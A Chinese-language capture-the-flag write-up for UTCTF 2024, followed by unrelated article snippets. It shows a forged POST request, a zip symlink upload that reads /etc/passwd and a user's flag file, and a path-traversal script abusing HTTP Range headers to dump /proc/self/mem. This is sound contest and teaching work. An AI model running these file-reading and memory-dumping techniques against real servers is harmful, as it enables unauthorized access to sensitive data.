UTCTF 2024 WP

news/2024/5/20 0:05:56 标签: 安全, CTF

CTF_2024_0">UTCTF 2024

在这里插入图片描述

Beginner: Off-Brand Cookie Clicker

题目描述:

I tried to make my own version of cookie clicker, without all of the extra fluff. Can you beat my highscore?

分数:100

步骤:

查看前端js代码,点击次数大于10000000就post请求click获取flag

在这里插入图片描述

直接构造post请求到betta.utctf.live:8138/click

在这里插入图片描述

获得结果

utflag{y0u_cl1ck_pr3tty_f4st}

Schrödinger

题目描述:Hey, my digital cat managed to get into my server and I can’t get him out.

The only thing running on the server is a website a colleague of mine made.

Can you find a way to use the website to check if my cat’s okay? He’ll likely be in the user’s home directory.

You’ll know he’s fine if you find a “flag.txt” file.

分数:355

解题步骤:

考察的应该是后端自动解压压缩包的软链接攻击。参考:CTFSHOW国赛复现-----Unzip(软连接利用)_国赛 unzip-CSDN博客

ln -s /etc/passwd test
zip --symlinks test.zip test

然后上传对应的test.zip文件到服务器,成功读取了/etc/passwd文件,其中可以看到copenhagen用户。

在这里插入图片描述

尝试构造一个软链接到/home/copenhagen/

a1andns@a1andns:~$ ln -s /home/copenhagen/flag.txt test2
a1andns@a1andns:~$ zip --symlinks test2.zip test2

在这里插入图片描述

上传后成功获得flag

utflag{No_Observable_Cats_Were_Harmed}

Home on the Range

题目描述:

I wrote a custom HTTP server to play with obscure HTTP headers.

Hint:

If it seems like something’s missing, that’s completely intentional; you should be able to figure out why it’s missing and where it currently is. You don’t need to do any brute force guessing to figure out what that missing thing is.

这个服务器可以进行目录遍历,所以跨目录尝试读取/etc/passwd,操作成功,发现一个range用户。

在这里插入图片描述

合理猜测web root是/home/range,尝试去读取目录下可能存在的main.py或server.py,发现是都不存在。那只能尝试看看py文件是不是在/目录下,发现果然在/目录下:

在这里插入图片描述

from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
import os
from html import escape
from mimetypes import guess_type
import re
from random import randbytes
import signal
import sys
import threading

with open("/setup/flag.txt") as f:
    the_flag = f.read()
os.remove("/setup/flag.txt")

def process_range_request(ranges, content_type, file_len, write_header, write_bytes, write_file_range):
    boundary = randbytes(64).hex()
    for [first, last] in (ranges if ranges != [] else [[None, None]]):
        count = None
        if first is None:
            if last is None:
                first = 0
            else:
                first = file_len - last
                count = last
        elif last is not None:
            count = last - first + 1

        if (count is not None and count < 0) or first < 0:
            return False
        
        content_range_header = "bytes " + str(first) + "-" + (str(first + count - 1 if count is not None else file_len - 1)) + "/" + str(file_len)
        if len(ranges) > 1:
            write_bytes(b"\r\n--" + boundary.encode())
            if content_type:
                write_bytes(b"\r\nContent-Type: " + content_type.encode())
            write_bytes(b"\r\nContent-Range: " + content_range_header.encode())
            write_bytes(b"\r\n\r\n")
        else:
            if content_type:
                write_header("Content-Type", content_type)
            if len(ranges) > 0:
                write_header("Content-Range", content_range_header)
        if not write_file_range(first, count):
            return False
    if len(ranges) > 1:
        write_bytes(b"\r\n--" + boundary.encode() + b"--\r\n")
        write_header("Content-Type", "multipart/byteranges; boundary=" + boundary)
    elif len(ranges) == 0:
        write_header("Accept-Ranges", "bytes")
    return True


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        return self.try_serve_file(self.path[1:])

    def try_serve_file(self, f):
        if f == "":
            f = "."
        try:
            status_code = 200
            range_match = re.match("^bytes=\\d*-\\d*(, *\\d*-\\d*)*$", self.headers.get("range", "none"))
            ranges = []
            if range_match:
                status_code = 206
                ranges = []
                for range in self.headers.get("range").split("=")[1].split(", "):
                    left, right = range.split("-")
                    new_range = [None, None]
                    if left:
                        new_range[0] = int(left)
                    if right:
                        new_range[1] = int(right)
                    if not left and not right:
                        # invalid
                        ranges = [[None, None]]
                        break
                    ranges.append(new_range)

            self.log_message("Serving %s ranges %s", f, repr(ranges))

            (content_type, _) = guess_type(f)

            with open(f, "rb") as io:
                file_length = os.stat(f).st_size

                headers = []
                chunks = []

                def check_file_chunk(first, count):
                    if count is None:
                        if first < 0:
                            return False
                        io.seek(first)
                        if io.read(1) == b"":
                            return False
                    else:
                        if count <= 0 or first < 0:
                            return False
                        io.seek(first + count - 1)
                        if io.read(1) == b"":
                            return False
                    chunks.append({"type": "file", "first": first, "count": count})
                    return True


                ok = process_range_request(ranges, content_type, file_length,
                                           lambda k, v: headers.append((k, v)),
                                           lambda b: chunks.append({"type": "bytes", "bytes": b}),
                                           check_file_chunk)
                if not ok:
                    self.send_response(416)
                    self.send_header("Content-Range", "bytes */" + str(file_length))
                    self.end_headers()
                    return
                
                content_length = 0
                for chunk in chunks:
                    if chunk["type"] == "bytes":
                        content_length += len(chunk["bytes"])
                    elif chunk["type"] == "file":
                        content_length += chunk["count"] if chunk["count"] is not None else file_length - chunk["first"]
                
                self.send_response(status_code)
                for (k, v) in headers:
                    self.send_header(k, v)
                self.send_header("Content-Length", str(content_length))
                self.end_headers()

                for chunk in chunks:
                    if chunk["type"] == "bytes":
                        self.wfile.write(chunk["bytes"])
                    elif chunk["type"] == "file":
                        io.seek(chunk["first"])
                        count = chunk["count"]
                        buf_size = 1024 * 1024
                        while count is None or count > 0:
                            chunk = io.read(min(count if count is not None else buf_size, buf_size))
                            self.wfile.write(chunk)
                            if count is not None:
                                count -= len(chunk)
                            if len(chunk) == 0:
                                break
        except FileNotFoundError:
            print(f)
            self.send_error(404)
        except IsADirectoryError:
            if not f.endswith("/") and f != ".":
                self.send_response(303)
                self.send_header("Location", "/" + f + "/")
                self.end_headers()
            elif os.path.isfile(f + "/index.html"):
                return self.try_serve_file(f + "/index.html")
            else:
                dir_name = os.path.basename(os.path.abspath(f))
                if dir_name == "":
                    dir_name = "/"
                body = (
                    "<!DOCTYPE html><html><head><title>Directory listing of "
                        + escape(dir_name)
                        + "</title><body><h1>Directory listing of " + escape(dir_name) + "</h1><ul>"
                        + "".join(["<li><a href=\"" + escape(child, quote=True) + "\">" + escape(child) + "</a></li>" for child in os.listdir(f)])
                        + "</ul></body></html>"
                    ).encode("utf-8")
                self.send_response(200)
                self.send_header("Content-Type", "text/html; charset=utf-8")
                self.end_headers()
                self.wfile.write(body)
                pass
        except OSError as e:
            self.send_error(500, None, e.strerror)

server = ThreadingHTTPServer(("0.0.0.0", 3000), Handler)

def exit_handler(signum, frame):
    sys.stderr.write("Received SIGTERM\n")

    # Needs to run in another thread to avoid blocking the main thread
    def shutdown_server():
        server.shutdown()
    shutdown_thread = threading.Thread(target=shutdown_server)
    shutdown_thread.start()
signal.signal(signal.SIGTERM, exit_handler)

sys.stderr.write("Server ready\n")
server.serve_forever()

with open("/setup/flag.txt", "w") as f:
    f.write(the_flag)

读取/setup/flag.txt,发现文件已经被删除了,相关数据只存在与内存之中。所以要读取相关数据就必须从/proc/self/men中入手。

关键在于range_match = re.match("^bytes=\\d*-\\d*(, *\\d*-\\d*)*$", self.headers.get("range", "none"))这表明http请求头中可以包含一个range头,格式应该为bytes=整数-整数, 整数-整数,指定读取的范围。

首先读取/proc/self/maps获取内存映射关系。

在这里插入图片描述

import requests

# 用requests无法获取到maps,所以手动先用burp存一份到本地
def getMap():
    f = open("maps", "r")
    lines = f.readlines()
    for i in lines:
        range = i.split(" ")[0].split("-")
        start = int(range[0], 16)
        end = int(range[1], 16)
        getMem(start, end)


def getMem(start, end):
    url = "http://guppy.utctf.live:7884/../../proc/self/mem"
    headers = {
        "Host": "guppy.utctf.live:7884",
        "Range": f"bytes={start}-{end}",
        "Connection": "close"
    }
    res = requests.get(url=url, headers=headers)
    print(res.content.decode(errors="ignore"))


if __name__ == "__main__":
    getMap()

通过把python的输出流(即/proc/self/mem)保存到output.txt中去,然后匹配flag。

在这里插入图片描述

utflag{do_u_want_a_piece_of_me}

Contract

使用Linux工具pdftohtml即可获得多张背景图片和带着flag的图片

在这里插入图片描述

Easy Merge v1.0

Tired of getting your corporate mergers blocked by the FTC? Good news! Just give us your corporate information and let our unpaid interns do the work!

在这里插入图片描述

utflag{p0lluted_b4ckdoorz_and_m0r3}

http://www.niftyadmin.cn/n/5474522.html

相关文章

fping命令

fping是一个用于网络扫描的工具&#xff0c;它可以在 Linux 系统上使用。fping可以发送 ICMP ECHO_REQUEST&#xff08;即 ping&#xff09;数据包到指定的网络地址范围&#xff0c;并等待响应。通过这种方式&#xff0c;fping可以用来检测哪些 IP 地址是活跃的。 可以测试多个…

强行让Java和Go对比一波[持续更新]

概述 很多Java开发如果想转Golang的话&#xff0c;比较让Java开发蛋疼的第一是语法&#xff0c;第二是一些思想和设计哲学的Gap&#xff0c;所以我这儿强行整理一波Java和Golang的对比&#xff0c;但是由于GO和Java在很多方面都有不同的设计&#xff0c;所以这些对比的项可以更…

【LeetCode】454. 四数相加 II

目录 题目 思路 代码 题目 题目链接&#xff1a;. - 力扣&#xff08;LeetCode&#xff09; 给你四个整数数组 nums1、nums2、nums3 和 nums4 &#xff0c;数组长度都是 n &#xff0c;请你计算有多少个元组 (i, j, k, l) 能满足&#xff1a; 0 < i, j, k, l < nnums1…

深入浅出计算机网络 day.7 第三章 数据链路层 3.4 ①

我们应在日暮之时燃烧 —— 24.4.7 一、共享式以太网 内容概述&#xff1a; 01.共享式以太网 1.共享式以太网 以太网目前已经从传统的共享式以太网发展到交换式以太网&#xff0c;传输速率已经从10Mb/s提高到100Mb/s、1Gb/s甚至10Gb/s 二、网络适配器和MAC地址 内容概述&#x…

C语言宏定义笔记

把宏名全部大写&#xff0c;函数名不要全部大写。注意宏定义表示数据类型和用 typedef 定义数据说明符的区别。宏定义只是简单的字符串替换&#xff0c;由预处理器来处理&#xff1b; typedef 是在编译阶段由编译器处理的&#xff0c;它并不是简单的字符串替换&#xff0c;而给…

DFS序列

什么是DFS序 DFS序是指对一棵树进行DFS时&#xff0c;每个节点被访问到的顺序。DFS序分成两个部分&#xff1a;进入该节点的顺序和退出该节点的顺序。 如何求DFS序 对于DFS中当前节点 1&#xff1a;计数 2&#xff1a;进入当前节点的顺序等于当前计数 3&#xff1a;想所有…

python 自制黄金矿工游戏(设计思路+源码)

1.视频效果演示 python自制黄金矿工&#xff0c;细节拉满沉浸式体验&#xff0c;看了你也会 2.开发准备的工具 python3.8, pygame库(python3.5以上的版本应该都可以) 图片处理工具&#xff0c;美图秀秀 截图工具&#xff0c;电脑自带的 自动抠图网页&#xff1a;https://ko…

洛谷刷题 前缀和与差分-[P2004]领地选择(C++)

题目描述 作为在虚拟世界里统帅千军万马的领袖&#xff0c;小 Z 认为天时、地利、人和三者是缺一不可的&#xff0c;所以&#xff0c;谨慎地选择首都的位置对于小 Z 来说是非常重要的。 首都被认为是一个占地 CC 的正方形。小 Z 希望你寻找到一个合适的位置&#xff0c;使得首…